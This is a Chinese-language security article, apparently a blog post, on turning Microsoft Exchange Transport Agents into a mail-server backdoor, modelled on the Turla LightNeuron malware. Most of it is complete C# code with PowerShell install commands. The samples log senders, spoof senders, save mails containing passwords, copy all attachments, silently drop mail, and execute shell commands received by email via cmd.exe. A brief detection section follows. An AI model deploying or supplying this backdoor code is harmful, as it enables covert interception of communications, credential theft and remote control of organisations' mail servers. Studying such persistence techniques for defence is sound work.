0x00 前言
ESET研究发现了一个专门针对Microsoft Exchange的恶意软件LightNeuron,使用一种从未见过的持久性技术:Transport Agent,能够实现以下功能:
· 阅读和修改通过邮件服务器的任何电子邮件
· 撰写并发送新电子邮件
· 阻止任何电子邮件。原始收件人将不会收到电子邮件
参考资料:
https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
本文仅在技术研究的角度,介绍Transport Agent的用法,编写代码实现不同的功能,结合利用思路给出防御建议。
0x01 简介
本文将要介绍以下内容:
· Transport Agent基础知识
· Transport Agent的用法
· 使用Transport Agent监控邮件
· 使用Transport Agent修改邮件
· 使用Transport Agent删除邮件
· 使用Transport Agent启动程序
· 防御检测
0x02 Transport Agent基础知识
参考资料
1.Transport Agent
可以用来扩展和修改Exchange的传输行为,以自定义消息的接受,拒绝,路由和传递,以及在各种类型的内容之间进行转换。
简单理解,Transport Agents作为Exchange的插件,能够对Exchange的传输行为进行扩展和修改,例如读取、修改和删除传输的每一份邮件。
2..NET Framework Extensions for Exchange
Microsoft.Exchange.Data命名空间提供了便于执行以下任务的类型:
· 读写MIME数据
· 将消息正文和其他文本从一种编码转换为另一种编码
· 读取和写入TNEF数据
· 读写日历和约会
· 转换消息格式;例如,从HTML到RTF
· 响应SMTP事件
· 响应路由事件
简单理解,使用Microsoft.Exchange.Data命名空间能够扩展和修改Exchange的传输行为。
0x03 Transport Agent的使用
参考资料:
C#开发,使用Microsoft.Exchange.Data命名空间。
使用VisualStudio,新建C#项目,项目类型选择类库,引用以下dll:
· Microsoft.Exchange.Data.Common.dll
· Microsoft.Exchange.Data.Transport.dll
dll可从Exchange服务器上获得,位置为%ExchangeInstallPath%Public,例如C:\Program Files\Microsoft\Exchange Server\V15\Public
测试代码如下:
using System; using System.Collections.Generic; using System.Text; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler (ReceiveMessageEventSource source, EndOfDataEventArgs e) { // The following line appends text to the subject of the message that caused the event. e.MailItem.Message.Subject += " - this text appended by MyAgent"; } } }
编译生成MyAgent.dll
将MyAgent.dll复制到Exchange服务器,保存路径为C:\test\MyAgent.dll
使用Exchange Server PowerShell安装Transport Agent,命令如下:
Install-TransportAgent -Name "MySpamFilterAgent" -TransportAgentFactory "MyAgents.MyAgentFactory" -AssemblyPath "C:\test\MyAgent.dll" Enable-TransportAgent MySpamFilterAgent Restart-Service MSExchangeTransport
需要重启服务MSExchangeTransport才能够生效。
卸载Transport Agent的命令:
Uninstall-TransportAgent MySpamFilterAgent -Confirm:$false Restart-Service MSExchangeTransport
查看这个Transport Agent的命令:
Get-TransportAgent MySpamFilterAgent|fl
查看所有Transport Agent的命令:
Get-TransportAgent |fl
Transport Agent安装成功后,使用任意用户发送邮件,邮件标题被修改,测试成功。
0x04 使用Transport Agent实现不同的功能
示例1
监控邮件,记录发件人和时间,文件保存为c:\test\log.txt
代码如下:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true)) { file.WriteLine("Sender:" + e.MailItem.Message.Sender.SmtpAddress); file.WriteLine("Date:" + e.MailItem.Message.Date); } } } }
示例2
修改邮件的发件人和主题。
代码如下:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { // The following line appends text to the subject of the message that caused the event. e.MailItem.Message.Subject += " - this text appended by MyAgent"; e.MailItem.Message.From.DisplayName = "test2"; e.MailItem.Message.From.SmtpAddress = "[email protected]"; e.MailItem.Message.Sender.DisplayName = "test2"; e.MailItem.Message.Sender.SmtpAddress = "[email protected]"; } } }
示例3
监控邮件,如果邮件中包括字符串password(不区分大小写),则将这份邮件保存至c:\test,文件名称为
代码如下:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { long len = e.MailItem.GetMimeReadStream().Length; byte[] heByte = new byte[len]; int r = e.MailItem.GetMimeReadStream().Read(heByte, 0, heByte.Length); string searchData = System.Text.Encoding.UTF8.GetString(heByte); if (searchData.IndexOf("password", 0, StringComparison.CurrentCultureIgnoreCase) != -1) { string[] sArray = e.MailItem.Message.MessageId.Split('@'); sArray[0] = sArray[0].Substring(1); FileStream fs = new FileStream("c:\\test\\" + sArray[0] + ".eml", FileMode.Create); fs.Write(heByte, 0, heByte.Length); fs.Close(); } } } }
示例4
监控附件,将附件名称保存在c:\test\log.txt,将所有附件保存至c:\test,文件名称为附件名称。
代码如下:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { if (e.MailItem.Message.Attachments.Count != 0) { foreach (var attachment in e.MailItem.Message.Attachments) { using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true)) { file.WriteLine(attachment.FileName); } FileStream fs = new FileStream("c:\\test\\" + attachment.FileName, FileMode.Create); attachment.GetContentReadStream().CopyTo(fs); fs.Close(); } } } } }
相比于示例代码3,将数据保存至文件的功能有所区别。
示例3采用了先从流中读取数据并保存在字节数组中,再将字节数组转换为字符串,最后通过FileStream将字符串写入文件,这样虽然效率变慢,但是支持对全文内容进行搜索。
示例代码4不需要考虑全文搜索,所以可以使用Stream.CopyTo复制两个流来提高效率。
示例5
监控邮件,如果邮件内容包括字符串alert(不区分大小写),那么将这份邮件丢弃。
代码如下:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { long len = e.MailItem.GetMimeReadStream().Length; byte[] heByte = new byte[len]; int r = e.MailItem.GetMimeReadStream().Read(heByte, 0, heByte.Length); string searchData = System.Text.Encoding.UTF8.GetString(heByte); if (searchData.IndexOf("alert", 0, StringComparison.CurrentCultureIgnoreCase) != -1) { foreach (EnvelopeRecipient ep in e.MailItem.Recipients) { e.MailItem.Recipients.Remove(ep); } } } } }
示例6
监控邮件,如果邮件来自指定用户([email protected]),主题为command,那么将执行邮件正文中的内容xxxx(格式为command:xxxx/command)
代码如下:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; using System.Diagnostics; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { if (e.MailItem.Message.From.SmtpAddress == "[email protected]") { if(e.MailItem.Message.Subject.Contains("command")) { long len = e.MailItem.Message.Body.GetContentReadStream().Length; byte[] heByte = new byte[len]; int r = e.MailItem.Message.Body.GetContentReadStream().Read(heByte, 0, heByte.Length); string myStr = System.Text.Encoding.UTF8.GetString(heByte); int i = myStr.IndexOf("command:"); int j = myStr.IndexOf("/command"); myStr = myStr.Substring(i + 8, j - i - 8); Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c" + myStr; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; p.Start(); } } } } }
启动的进程权限为NETWORK SERVICE。
补充
为了便于调试,捕获错误并将错误代码输出至文件c:\test\log.txt
代码如下:
using System; using System.Collections.Generic; using System.Text; using System.IO; using Microsoft.Exchange.Data.Transport; using Microsoft.Exchange.Data.Transport.Smtp; using System.Diagnostics; namespace MyAgents { public sealed class MyAgentFactory : SmtpReceiveAgentFactory { public override SmtpReceiveAgent CreateAgent(SmtpServer server) { return new MyAgent(); } } public class MyAgent : SmtpReceiveAgent { public MyAgent() { this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler); } private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e) { try { } catch (Exception ex) { using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true)) { file.WriteLine(ex.Message); } } } } }
0x05 防御检测
1.查看Transport Agent配置
使用Exchange Server PowerShell,命令如下:
Get-TransportAgent
其他Powershell命令可参考:
https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mail-flow
2.查看服务日志
安装Transport Agent需要重启服务MSExchangeTransport
3.查看进程
使用Transport Agent后,进程w3wp.exe将会加载对应的dll
可以查看进程w3wp.exe是否加载可疑dll
0x06 小结
本文介绍了Transport Agent的用法,编写代码实现对邮件的记录、修改和删除,实现了作为后门使用的常用功能,结合利用思路给出防御建议。
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